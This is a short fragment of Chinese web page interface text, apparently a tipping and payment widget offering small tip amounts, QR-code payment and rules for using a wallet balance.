¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值